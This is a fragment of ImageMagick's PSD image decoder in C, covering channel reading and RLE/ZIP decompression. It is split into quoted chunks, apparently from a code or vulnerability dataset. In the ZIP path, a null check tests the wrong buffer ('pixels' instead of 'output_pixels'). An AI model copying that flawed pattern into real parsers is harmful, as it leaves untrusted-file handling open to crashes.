*psd_info,Image *image)\n{\n if (psd_info->version == 1)\n return((MagickSizeType) ReadBlobLong(image));\n return((MagickSizeType) ReadBlobLongLong(image));\n}", "static inline size_t GetPSDRowSize(Image *image)\n{\n if (image->depth == 1)\n return(((image->columns+7)/8)*GetPSDPacketSize(image));\n else\n return(image->columns*GetPSDPacketSize(image));\n}", "static const char *ModeToString(PSDImageType type)\n{\n switch (type)\n {\n case BitmapMode: return \"Bitmap\";\n case GrayscaleMode: return \"Grayscale\";\n case IndexedMode: return \"Indexed\";\n case RGBMode: return \"RGB\";\n case CMYKMode: return \"CMYK\";\n case MultichannelMode: return \"Multichannel\";\n case DuotoneMode: return \"Duotone\";\n case LabMode: return \"L*A*B\";\n default: return \"unknown\";\n }\n}", "static MagickBooleanType NegateCMYK(Image *image,ExceptionInfo *exception)\n{\n ChannelType\n channel_mask;", " MagickBooleanType\n status;", " channel_mask=SetImageChannelMask(image,(ChannelType)(AllChannels &~\n AlphaChannel));\n status=NegateImage(image,MagickFalse,exception);\n (void) SetImageChannelMask(image,channel_mask);\n return(status);\n}", "static StringInfo *ParseImageResourceBlocks(PSDInfo *psd_info,Image *image,\n const unsigned char *blocks,size_t length)\n{\n const unsigned char\n *p;", " ssize_t\n offset;", " StringInfo\n *profile;", " unsigned char\n name_length;", " unsigned int\n count;", " unsigned short\n id,\n short_sans;", " if (length < 16)\n return((StringInfo *) NULL);\n profile=BlobToStringInfo((const unsigned char *) NULL,length);\n SetStringInfoDatum(profile,blocks);\n SetStringInfoName(profile,\"8bim\");\n for (p=blocks; (p >= blocks) && (p < (blocks+length-7)); )\n {\n if (LocaleNCompare((const char *) p,\"8BIM\",4) != 0)\n break;\n p+=4;\n p=PushShortPixel(MSBEndian,p,&id);\n p=PushCharPixel(p,&name_length);\n if ((name_length % 2) == 0)\n name_length++;\n p+=name_length;\n if (p > (blocks+length-4))\n break;\n p=PushLongPixel(MSBEndian,p,&count);\n offset=(ssize_t) count;\n if (((p+offset) < blocks) || ((p+offset) > (blocks+length)))\n break;\n switch (id)\n {\n case 0x03ed:\n {\n unsigned short\n resolution;", " /*\n Resolution info.\n */\n if (offset < 16)\n break;\n p=PushShortPixel(MSBEndian,p,&resolution);\n image->resolution.x=(double) resolution;\n (void) FormatImageProperty(image,\"tiff:XResolution\",\"%*g\",\n GetMagickPrecision(),image->resolution.x);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&resolution);\n image->resolution.y=(double) resolution;\n (void) FormatImageProperty(image,\"tiff:YResolution\",\"%*g\",\n GetMagickPrecision(),image->resolution.y);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n p=PushShortPixel(MSBEndian,p,&short_sans);\n image->units=PixelsPerInchResolution;\n break;\n }\n case 0x0421:\n {\n if ((offset > 4) && (*(p+4) == 0))\n psd_info->has_merged_image=MagickFalse;\n p+=offset;\n break;\n }\n default:\n {\n p+=offset;\n break;\n }\n }\n if ((offset & 0x01) != 0)\n p++;\n }\n return(profile);\n}", "static CompositeOperator PSDBlendModeToCompositeOperator(const char *mode)\n{\n if (mode == (const char *) NULL)\n return(OverCompositeOp);\n if (LocaleNCompare(mode,\"norm\",4) == 0)\n return(OverCompositeOp);\n if (LocaleNCompare(mode,\"mul \",4) == 0)\n return(MultiplyCompositeOp);\n if (LocaleNCompare(mode,\"diss\",4) == 0)\n return(DissolveCompositeOp);\n if (LocaleNCompare(mode,\"diff\",4) == 0)\n return(DifferenceCompositeOp);\n if (LocaleNCompare(mode,\"dark\",4) == 0)\n return(DarkenCompositeOp);\n if (LocaleNCompare(mode,\"lite\",4) == 0)\n return(LightenCompositeOp);\n if (LocaleNCompare(mode,\"hue \",4) == 0)\n return(HueCompositeOp);\n if (LocaleNCompare(mode,\"sat \",4) == 0)\n return(SaturateCompositeOp);\n if (LocaleNCompare(mode,\"colr\",4) == 0)\n return(ColorizeCompositeOp);\n if (LocaleNCompare(mode,\"lum \",4) == 0)\n return(LuminizeCompositeOp);\n if (LocaleNCompare(mode,\"scrn\",4) == 0)\n return(ScreenCompositeOp);\n if (LocaleNCompare(mode,\"over\",4) == 0)\n return(OverlayCompositeOp);\n if (LocaleNCompare(mode,\"hLit\",4) == 0)\n return(HardLightCompositeOp);\n if (LocaleNCompare(mode,\"sLit\",4) == 0)\n return(SoftLightCompositeOp);\n if (LocaleNCompare(mode,\"smud\",4) == 0)\n return(ExclusionCompositeOp);\n if (LocaleNCompare(mode,\"div \",4) == 0)\n return(ColorDodgeCompositeOp);\n if (LocaleNCompare(mode,\"idiv\",4) == 0)\n return(ColorBurnCompositeOp);\n if (LocaleNCompare(mode,\"lbrn\",4) == 0)\n return(LinearBurnCompositeOp);\n if (LocaleNCompare(mode,\"lddg\",4) == 0)\n return(LinearDodgeCompositeOp);\n if (LocaleNCompare(mode,\"lLit\",4) == 0)\n return(LinearLightCompositeOp);\n if (LocaleNCompare(mode,\"vLit\",4) == 0)\n return(VividLightCompositeOp);\n if (LocaleNCompare(mode,\"pLit\",4) == 0)\n return(PinLightCompositeOp);\n if (LocaleNCompare(mode,\"hMix\",4) == 0)\n return(HardMixCompositeOp);\n return(OverCompositeOp);\n}", "static inline ssize_t ReadPSDString(Image *image,char *p,const size_t length)\n{\n ssize_t\n count;", " count=ReadBlob(image,length,(unsigned char *) p);\n if ((count == (ssize_t) length) && (image->endian != MSBEndian))\n {\n char\n *q;", " q=p+length;\n for(--q; p < q; ++p, --q)\n {\n *p = *p ^ *q,\n *q = *p ^ *q,\n *p = *p ^ *q;\n }\n }\n return(count);\n}", "static inline void SetPSDPixel(Image *image,const PixelChannel channel,\n const size_t packet_size,const Quantum pixel,Quantum *q,\n ExceptionInfo *exception)\n{\n if (image->storage_class == PseudoClass)\n {\n PixelInfo\n *color;", " ssize_t\n index;", " if (channel == GrayPixelChannel)\n {\n index=(ssize_t) pixel;\n if (packet_size == 1)\n index=(ssize_t) ScaleQuantumToChar((Quantum) index);\n index=ConstrainColormapIndex(image,index,exception);\n SetPixelIndex(image,(Quantum) index,q);\n }\n else\n {\n index=(ssize_t) GetPixelIndex(image,q);\n index=ConstrainColormapIndex(image,index,exception);\n }\n color=image->colormap+index;\n if (channel == AlphaPixelChannel)\n color->alpha=(MagickRealType) pixel;\n SetPixelViaPixelInfo(image,color,q);\n }\n else\n SetPixelChannel(image,channel,pixel,q);\n}", "static MagickBooleanType ReadPSDChannelPixels(Image *image,const ssize_t row,\n const PixelChannel channel,const unsigned char *pixels,\n ExceptionInfo *exception)\n{\n Quantum\n pixel;", " const unsigned char\n *p;", " Quantum\n *q;", " ssize_t\n x;", " size_t\n packet_size;", " p=pixels;\n q=GetAuthenticPixels(image,0,row,image->columns,1,exception);\n if (q == (Quantum *) NULL)\n return MagickFalse;\n packet_size=GetPSDPacketSize(image);\n for (x=0; x < (ssize_t) image->columns; x++)\n {\n if (packet_size == 1)\n pixel=ScaleCharToQuantum(*p++);\n else\n if (packet_size == 2)\n {\n unsigned short\n nibble;", " p=PushShortPixel(MSBEndian,p,&nibble);\n pixel=ScaleShortToQuantum(nibble);\n }\n else\n {\n MagickFloatType\n nibble;", " p=PushFloatPixel(MSBEndian,p,&nibble);\n pixel=ClampToQuantum(((MagickRealType) QuantumRange)*nibble);\n }\n if (image->depth > 1)\n {\n SetPSDPixel(image,channel,packet_size,pixel,q,exception);\n q+=GetPixelChannels(image);\n }\n else\n {\n ssize_t\n bit,\n number_bits;", " number_bits=(ssize_t) image->columns-x;\n if (number_bits > 8)\n number_bits=8;\n for (bit = 0; bit < (ssize_t) number_bits; bit++)\n {", " SetPSDPixel(image,channel,packet_size,(((unsigned char)((ssize_t)pixel))", " & (0x01 << (7-bit))) != 0 ? 0 : QuantumRange,q,exception);\n q+=GetPixelChannels(image);\n x++;\n }\n if (x != (ssize_t) image->columns)\n x--;\n continue;\n }\n }\n return(SyncAuthenticPixels(image,exception));\n}", "static MagickBooleanType ReadPSDChannelRaw(Image *image,const PixelChannel channel,\n ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " size_t\n row_size;", " ssize_t\n count,\n y;", " unsigned char\n *pixels;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is RAW\");", " row_size=GetPSDRowSize(image);\n pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n (void) memset(pixels,0,row_size*sizeof(*pixels));", " status=MagickTrue;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=MagickFalse;", " count=ReadBlob(image,row_size,pixels);\n if (count != (ssize_t) row_size)\n break;", " status=ReadPSDChannelPixels(image,y,channel,pixels,exception);\n if (status == MagickFalse)\n break;\n }", " pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}", "static inline MagickOffsetType *ReadPSDRLESizes(Image *image,\n const PSDInfo *psd_info,const size_t size)\n{\n MagickOffsetType\n *sizes;", " ssize_t\n y;", " sizes=(MagickOffsetType *) AcquireQuantumMemory(size,sizeof(*sizes));\n if(sizes != (MagickOffsetType *) NULL)\n {\n for (y=0; y < (ssize_t) size; y++)\n {\n if (psd_info->version == 1)\n sizes[y]=(MagickOffsetType) ReadBlobShort(image);\n else\n sizes[y]=(MagickOffsetType) ReadBlobLong(image);\n }\n }\n return sizes;\n}", "static MagickBooleanType ReadPSDChannelRLE(Image *image,\n const PixelChannel channel,MagickOffsetType *sizes,\n ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " size_t\n length,\n row_size;", " ssize_t\n count,\n y;", " unsigned char\n *compact_pixels,\n *pixels;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is RLE compressed\");", " row_size=GetPSDRowSize(image);\n pixels=(unsigned char *) AcquireQuantumMemory(row_size,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);", " length=0;\n for (y=0; y < (ssize_t) image->rows; y++)\n if ((MagickOffsetType) length < sizes[y])\n length=(size_t) sizes[y];", " if (length > (row_size+2048)) /* arbitrary number */\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"InvalidLength\",image->filename);\n }", " compact_pixels=(unsigned char *) AcquireQuantumMemory(length,sizeof(*pixels));\n if (compact_pixels == (unsigned char *) NULL)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }", " (void) memset(compact_pixels,0,length*sizeof(*compact_pixels));", " status=MagickTrue;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=MagickFalse;", " count=ReadBlob(image,(size_t) sizes[y],compact_pixels);\n if (count != (ssize_t) sizes[y])\n break;", " count=DecodePSDPixels((size_t) sizes[y],compact_pixels,\n (ssize_t) (image->depth == 1 ? 123456 : image->depth),row_size,pixels);\n if (count != (ssize_t) row_size)\n break;", " status=ReadPSDChannelPixels(image,y,channel,pixels,exception);\n if (status == MagickFalse)\n break;\n }", " compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}", "#ifdef MAGICKCORE_ZLIB_DELEGATE\nstatic void Unpredict8Bit(const Image *image,unsigned char *pixels,\n const size_t count,const size_t row_size)\n{\n unsigned char\n *p;", " size_t\n length,\n remaining;", " p=pixels;\n remaining=count;\n while (remaining > 0)\n {\n length=image->columns;\n while (--length)\n {\n *(p+1)+=*p;\n p++;\n }\n p++;\n remaining-=row_size;\n }\n}", "static void Unpredict16Bit(const Image *image,unsigned char *pixels,\n const size_t count,const size_t row_size)\n{\n unsigned char\n *p;", " size_t\n length,\n remaining;", " p=pixels;\n remaining=count;\n while (remaining > 0)\n {\n length=image->columns;\n while (--length)\n {\n p[2]+=p[0]+((p[1]+p[3]) >> 8);\n p[3]+=p[1];\n p+=2;\n }\n p+=2;\n remaining-=row_size;\n }\n}", "static void Unpredict32Bit(const Image *image,unsigned char *pixels,\n unsigned char *output_pixels,const size_t row_size)\n{\n unsigned char\n *p,\n *q;", " ssize_t\n y;", " size_t\n offset1,\n offset2,\n offset3,\n remaining;", " unsigned char\n *start;", " offset1=image->columns;\n offset2=2*offset1;\n offset3=3*offset1;\n p=pixels;\n q=output_pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n start=p;\n remaining=row_size;\n while (--remaining)\n {\n *(p+1)+=*p;\n p++;\n }", " p=start;\n remaining=image->columns;\n while (remaining--)\n {\n *(q++)=*p;\n *(q++)=*(p+offset1);\n *(q++)=*(p+offset2);\n *(q++)=*(p+offset3);", " p++;\n }\n p=start+row_size;\n }\n}", "static MagickBooleanType ReadPSDChannelZip(Image *image,\n const PixelChannel channel,const PSDCompressionType compression,\n const size_t compact_size,ExceptionInfo *exception)\n{\n MagickBooleanType\n status;", " unsigned char\n *p;", " size_t\n count,\n packet_size,\n row_size;", " ssize_t\n y;", " unsigned char\n *compact_pixels,\n *pixels;", " z_stream\n stream;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" layer data is ZIP compressed\");", " if ((MagickSizeType) compact_size > GetBlobSize(image))\n ThrowBinaryException(CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n compact_pixels=(unsigned char *) AcquireQuantumMemory(compact_size,\n sizeof(*compact_pixels));\n if (compact_pixels == (unsigned char *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);", " packet_size=GetPSDPacketSize(image);\n row_size=image->columns*packet_size;\n count=image->rows*row_size;", " pixels=(unsigned char *) AcquireQuantumMemory(count,sizeof(*pixels));\n if (pixels == (unsigned char *) NULL)\n {\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n }\n if (ReadBlob(image,compact_size,compact_pixels) != (ssize_t) compact_size)\n {\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n ThrowBinaryException(CorruptImageError,\"UnexpectedEndOfFile\",\n image->filename);\n }", " memset(&stream,0,sizeof(stream));\n stream.data_type=Z_BINARY;\n stream.next_in=(Bytef *)compact_pixels;\n stream.avail_in=(uInt) compact_size;\n stream.next_out=(Bytef *)pixels;\n stream.avail_out=(uInt) count;", " if (inflateInit(&stream) == Z_OK)\n {\n int\n ret;", " while (stream.avail_out > 0)\n {\n ret=inflate(&stream,Z_SYNC_FLUSH);\n if ((ret != Z_OK) && (ret != Z_STREAM_END))\n {\n (void) inflateEnd(&stream);\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(MagickFalse);\n }\n if (ret == Z_STREAM_END)\n break;\n }\n (void) inflateEnd(&stream);\n }", " if (compression == ZipWithPrediction)\n {\n if (packet_size == 1)\n Unpredict8Bit(image,pixels,count,row_size);\n else if (packet_size == 2)\n Unpredict16Bit(image,pixels,count,row_size);\n else if (packet_size == 4)\n {\n unsigned char\n *output_pixels;", " output_pixels=(unsigned char *) AcquireQuantumMemory(count,\n sizeof(*output_pixels));\n if (pixels == (unsigned char *) NULL)\n {\n compact_pixels=(unsigned char *) RelinquishMagickMemory(\n compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n ThrowBinaryException(ResourceLimitError,\n \"MemoryAllocationFailed\",image->filename);\n }\n Unpredict32Bit(image,pixels,output_pixels,row_size);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n pixels=output_pixels;\n }\n }", " status=MagickTrue;\n p=pixels;\n for (y=0; y < (ssize_t) image->rows; y++)\n {\n status=ReadPSDChannelPixels(image,y,channel,p,exception);\n if (status == MagickFalse)\n break;", " p+=row_size;\n }", " compact_pixels=(unsigned char *) RelinquishMagickMemory(compact_pixels);\n pixels=(unsigned char *) RelinquishMagickMemory(pixels);\n return(status);\n}\n#endif", "static MagickBooleanType ReadPSDChannel(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,LayerInfo* layer_info,\n const size_t channel_index,const PSDCompressionType compression,\n ExceptionInfo *exception)\n{\n Image\n *channel_image,\n *mask;", " MagickOffsetType\n end_offset,\n offset;", " MagickBooleanType\n status;", " PixelChannel\n channel;", " end_offset=(MagickOffsetType) layer_info->channel_info[channel_index].size-2;\n if (layer_info->channel_info[channel_index].supported == MagickFalse)\n {\n (void) SeekBlob(image,end_offset,SEEK_CUR);\n return(MagickTrue);\n }\n channel_image=image;\n channel=layer_info->channel_info[channel_index].channel;\n mask=(Image *) NULL;\n if (channel == ReadMaskPixelChannel)\n {\n const char\n *option;", " /*\n Ignore mask that is not a user supplied layer mask, if the mask is\n disabled or if the flags have unsupported values.\n */\n option=GetImageOption(image_info,\"psd:preserve-opacity-mask\");\n if ((layer_info->mask.flags > 2) || ((layer_info->mask.flags & 0x02) &&\n (IsStringTrue(option) == MagickFalse)) ||\n (layer_info->mask.page.width < 1) ||\n (layer_info->mask.page.height < 1))\n {\n (void) SeekBlob(image,end_offset,SEEK_CUR);\n return(MagickTrue);\n }\n mask=CloneImage(image,layer_info->mask.page.width,\n layer_info->mask.page.height,MagickFalse,exception);\n if (mask != (Image *) NULL)\n {\n (void) ResetImagePixels(mask,exception);\n (void) SetImageType(mask,GrayscaleType,exception);\n channel_image=mask;\n channel=GrayPixelChannel;\n }\n }", " offset=TellBlob(image);\n status=MagickFalse;\n switch(compression)\n {\n case Raw:\n status=ReadPSDChannelRaw(channel_image,channel,exception);\n break;\n case RLE:\n {\n MagickOffsetType\n *sizes;", " sizes=ReadPSDRLESizes(channel_image,psd_info,channel_image->rows);\n if (sizes == (MagickOffsetType *) NULL)\n ThrowBinaryException(ResourceLimitError,\"MemoryAllocationFailed\",\n image->filename);\n status=ReadPSDChannelRLE(channel_image,channel,sizes,exception);\n sizes=(MagickOffsetType *) RelinquishMagickMemory(sizes);\n }\n break;\n case ZipWithPrediction:\n case ZipWithoutPrediction:\n#ifdef MAGICKCORE_ZLIB_DELEGATE\n status=ReadPSDChannelZip(channel_image,channel,compression,\n (const size_t) end_offset,exception);\n#else\n (void) ThrowMagickException(exception,GetMagickModule(),\n MissingDelegateWarning,\"DelegateLibrarySupportNotBuiltIn\",\n \"'%s' (ZLIB)\",image->filename);\n#endif\n break;\n default:\n (void) ThrowMagickException(exception,GetMagickModule(),TypeWarning,\n \"CompressionNotSupported\",\"'%.20g'\",(double) compression);\n break;\n }", " (void) SeekBlob(image,offset+end_offset,SEEK_SET);\n if (status == MagickFalse)\n {\n if (mask != (Image *) NULL)\n (void) DestroyImage(mask);\n ThrowBinaryException(CoderError,\"UnableToDecompressImage\",\n image->filename);\n }\n if (mask != (Image *) NULL)\n {\n if (layer_info->mask.image != (Image *) NULL)\n layer_info->mask.image=DestroyImage(layer_info->mask.image);\n layer_info->mask.image=mask;\n }\n return(status);\n}", "static MagickBooleanType GetPixelChannelFromPsdIndex(const PSDInfo *psd_info,\n ssize_t index,PixelChannel *channel)\n{\n *channel=RedPixelChannel;\n switch (psd_info->mode)\n {\n case BitmapMode:\n case IndexedMode:\n case GrayscaleMode:\n {\n if (index == 1)\n index=-1;\n else if (index > 1)\n index=StartMetaPixelChannel+index-2;\n break;\n }\n case LabMode:\n case MultichannelMode:\n case RGBMode:\n {\n if (index == 3)\n index=-1;\n else if (index > 3)\n index=StartMetaPixelChannel+index-4;\n break;\n }\n case CMYKMode:\n {\n if (index == 4)\n index=-1;\n else if (index > 4)\n index=StartMetaPixelChannel+index-5;\n break;\n }\n }\n if ((index < -2) || (index >= MaxPixelChannels))\n return(MagickFalse);\n if (index == -1)\n *channel=AlphaPixelChannel;\n else if (index == -2)\n *channel=ReadMaskPixelChannel;\n else\n *channel=(PixelChannel) index;\n return(MagickTrue);\n}", "static void SetPsdMetaChannels(Image *image,const PSDInfo *psd_info,\n const unsigned short channels,ExceptionInfo *exception)\n{\n ssize_t\n number_meta_channels;", " number_meta_channels=(ssize_t) channels-psd_info->min_channels;\n if (image->alpha_trait == BlendPixelTrait)\n number_meta_channels--;\n if (number_meta_channels > 0)\n (void) SetPixelMetaChannels(image,(size_t) number_meta_channels,exception);\n}", "static MagickBooleanType ReadPSDLayer(Image *image,const ImageInfo *image_info,\n const PSDInfo *psd_info,LayerInfo* layer_info,ExceptionInfo *exception)\n{\n char\n message[MagickPathExtent];", " MagickBooleanType\n status;", " PSDCompressionType\n compression;", " ssize_t\n j;", " if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" setting up new layer image\");\n if (psd_info->mode != IndexedMode)\n (void) SetImageBackgroundColor(layer_info->image,exception);\n layer_info->image->compose=PSDBlendModeToCompositeOperator(\n layer_info->blendkey);\n if (layer_info->visible == MagickFalse)\n layer_info->image->compose=NoCompositeOp;\n /*\n Set up some hidden attributes for folks that need them.\n */\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",\n (double) layer_info->page.x);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.x\",message);\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",\n (double) layer_info->page.y);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.y\",message);\n (void) FormatLocaleString(message,MagickPathExtent,\"%.20g\",(double)\n layer_info->opacity);\n (void) SetImageArtifact(layer_info->image,\"psd:layer.opacity\",message);\n (void) SetImageProperty(layer_info->image,\"label\",(char *) layer_info->name,\n exception);", " SetPsdMetaChannels(layer_info->image,psd_info,layer_info->channels,exception);\n status=MagickTrue;\n for (j=0; j < (ssize_t) layer_info->channels; j++)\n {\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" reading data for channel %.20g\",(double) j);", " compression=(PSDCompressionType) ReadBlobShort(layer_info->image);\n layer_info->image->compression=ConvertPSDCompression(compression);", " status=ReadPSDChannel(layer_info->image,image_info,psd_info,layer_info,\n (size_t) j,compression,exception);", " if (status == MagickFalse)\n break;\n }", " if (status != MagickFalse)\n status=ApplyPSDLayerOpacity(layer_info->image,layer_info->opacity,\n MagickFalse,exception);", " if ((status != MagickFalse) &&\n (layer_info->image->colorspace == CMYKColorspace))\n status=NegateCMYK(layer_info->image,exception);", " if ((status != MagickFalse) && (layer_info->mask.image != (Image *) NULL))\n {\n const char\n *option;", " layer_info->mask.image->page.x=layer_info->mask.page.x;\n layer_info->mask.image->page.y=layer_info->mask.page.y;\n /* Do not composite the mask when it is disabled */\n if ((layer_info->mask.flags & 0x02) == 0x02)\n layer_info->mask.image->compose=NoCompositeOp;\n else\n status=ApplyPSDOpacityMask(layer_info->image,layer_info->mask.image,\n layer_info->mask.background == 0 ? 0 : QuantumRange,MagickFalse,\n exception);\n option=GetImageOption(image_info,\"psd:preserve-opacity-mask\");\n if (IsStringTrue(option) != MagickFalse)\n PreservePSDOpacityMask(image,layer_info,exception);\n layer_info->mask.image=DestroyImage(layer_info->mask.image);\n }", " return(status);\n}", "static MagickBooleanType CheckPSDChannels(const Image *image,\n const PSDInfo *psd_info,LayerInfo *layer_info)\n{\n int\n channel_type;", " size_t\n blob_size;", " ssize_t\n i;", " if (layer_info->channels < psd_info->min_channels)\n return(MagickFalse);\n channel_type=RedChannel;\n if (psd_info->min_channels >= 3)\n channel_type|=(GreenChannel | BlueChannel);\n if (psd_info->min_channels >= 4)\n channel_type|=BlackChannel;\n blob_size=(size_t) GetBlobSize(image);\n for (i=0; i < (ssize_t) layer_info->channels; i++)\n {\n PixelChannel\n channel;", " if (layer_info->channel_info[i].size >= blob_size)\n return(MagickFalse);\n if (layer_info->channel_info[i].supported == MagickFalse)\n continue;\n channel=layer_info->channel_info[i].channel;\n if ((i == 0) && (psd_info->mode == IndexedMode) &&\n (channel != RedPixelChannel))\n return(MagickFalse);\n if (channel == AlphaPixelChannel)\n {\n channel_type|=AlphaChannel;\n continue;\n }\n if (channel == RedPixelChannel)\n channel_type&=~RedChannel;\n else if (channel == GreenPixelChannel)\n channel_type&=~GreenChannel;\n else if (channel == BluePixelChannel)\n channel_type&=~BlueChannel;\n else if (channel == BlackPixelChannel)\n channel_type&=~BlackChannel;\n }\n if (channel_type == 0)\n return(MagickTrue);\n if ((channel_type == AlphaChannel) &&\n (layer_info->channels >= psd_info->min_channels + 1))\n return(MagickTrue);\n return(MagickFalse);\n}", "static void AttachPSDLayers(Image *image,LayerInfo *layer_info,\n ssize_t number_layers)\n{\n ssize_t\n i;", " ssize_t\n j;", " for (i=0; i < number_layers; i++)\n {\n if (layer_info[i].image == (Image *) NULL)\n {\n for (j=i; j < number_layers - 1; j++)\n layer_info[j] = layer_info[j+1];\n number_layers--;\n i--;\n }\n }\n if (number_layers == 0)\n {\n layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info);\n return;\n }\n for (i=0; i < number_layers; i++)\n {\n if (i > 0)\n layer_info[i].image->previous=layer_info[i-1].image;\n if (i < (number_layers-1))\n layer_info[i].image->next=layer_info[i+1].image;\n layer_info[i].image->page=layer_info[i].page;\n }\n image->next=layer_info[0].image;\n layer_info[0].image->previous=image;\n layer_info=(LayerInfo *) RelinquishMagickMemory(layer_info);\n}", "static inline MagickBooleanType PSDSkipImage(const PSDInfo *psd_info,\n const ImageInfo *image_info,const size_t index)\n{\n if (psd_info->has_merged_image == MagickFalse)\n return(MagickFalse);\n if (image_info->number_scenes == 0)\n return(MagickFalse);\n if (index < image_info->scene)\n return(MagickTrue);\n if (index > image_info->scene+image_info->number_scenes-1)\n return(MagickTrue);\n return(MagickFalse);\n}", "static void CheckMergedImageAlpha(const PSDInfo *psd_info,Image *image)\n{\n /*\n The number of layers cannot be used to determine if the merged image\n contains an alpha channel. So we enable it when we think we should.\n */\n if (((psd_info->mode == GrayscaleMode) && (psd_info->channels > 1)) ||\n ((psd_info->mode == RGBMode) && (psd_info->channels > 3)) ||\n ((psd_info->mode == CMYKMode) && (psd_info->channels > 4)))\n image->alpha_trait=BlendPixelTrait;\n}", "static void ParseAdditionalInfo(LayerInfo *layer_info)\n{\n char\n key[5];", " size_t\n remaining_length;", " unsigned char\n *p;", " unsigned int\n size;", " p=GetStringInfoDatum(layer_info->info);\n remaining_length=GetStringInfoLength(layer_info->info);\n while (remaining_length >= 12)\n {\n /* skip over signature */\n p+=4;\n key[0]=(char) (*p++);\n key[1]=(char) (*p++);\n key[2]=(char) (*p++);\n key[3]=(char) (*p++);\n key[4]='\\0';\n size=(unsigned int) (*p++) << 24;\n size|=(unsigned int) (*p++) << 16;\n size|=(unsigned int) (*p++) << 8;\n size|=(unsigned int) (*p++);\n size=size & 0xffffffff;\n remaining_length-=12;\n if ((size_t) size > remaining_length)\n break;\n if (LocaleNCompare(key,\"luni\",sizeof(key)) == 0)\n {\n unsigned char\n *name;", " unsigned int\n length;", " length=(unsigned int) (*p++) << 24;\n length|=(unsigned int) (*p++) << 16;\n length|=(unsigned int) (*p++) << 8;\n length|=(unsigned int) (*p++);\n if (length * 2 > size - 4)\n break;\n if (sizeof(layer_info->name) <= length)\n break;\n name=layer_info->name;\n while (length > 0)\n {\n /* Only ASCII strings are supported */\n if (*p++ != '\\0')\n break;\n *name++=*p++;\n length--;\n }\n if (length == 0)\n *name='\\0';\n break;\n }\n else\n p+=size;\n remaining_length-=(size_t) size;\n }\n}", "static MagickSizeType GetLayerInfoSize(const PSDInfo *psd_info,Image *image)\n{\n char\n type[4];", " MagickSizeType\n size;", " ssize_t\n count;", " size=GetPSDSize(psd_info,image);\n if (size != 0)\n return(size);\n (void) ReadBlobLong(image);\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n return(0);\n count=ReadPSDString(image,type,4);\n if ((count == 4) && ((LocaleNCompare(type,\"Mt16\",4) == 0) ||\n (LocaleNCompare(type,\"Mt32\",4) == 0) ||\n (LocaleNCompare(type,\"Mtrn\",4) == 0)))\n {\n size=GetPSDSize(psd_info,image);\n if (size != 0)\n return(0);\n image->alpha_trait=BlendPixelTrait;\n count=ReadPSDString(image,type,4);\n if ((count != 4) || (LocaleNCompare(type,\"8BIM\",4) != 0))\n return(0);\n count=ReadPSDString(image,type,4);\n }\n if ((count == 4) && ((LocaleNCompare(type,\"Lr16\",4) == 0) ||\n (LocaleNCompare(type,\"Lr32\",4) == 0)))\n size=GetPSDSize(psd_info,image);\n return(size);\n}", "static MagickBooleanType ReadPSDLayersInternal(Image *image,\n const ImageInfo *image_info,const PSDInfo *psd_info,\n const MagickBooleanType skip_layers,ExceptionInfo *exception)\n{\n char\n type[4];", " LayerInfo\n *layer_info;", " MagickSizeType\n size;", " MagickBooleanType\n status;", " ssize_t\n count,\n index,\n i,\n j,\n number_layers;", " size=GetLayerInfoSize(psd_info,image);\n if (size == 0)\n {\n CheckMergedImageAlpha(psd_info,image);\n return(MagickTrue);\n }", " layer_info=(LayerInfo *) NULL;\n number_layers=(ssize_t) ReadBlobSignedShort(image);", " if (number_layers < 0)\n {\n /*\n The first alpha channel in the merged result contains the\n transparency data for the merged result.\n */\n number_layers=MagickAbsoluteValue(number_layers);\n if (image->debug != MagickFalse)\n (void) LogMagickEvent(CoderEvent,GetMagickModule(),\n \" negative layer count corrected for\");\n 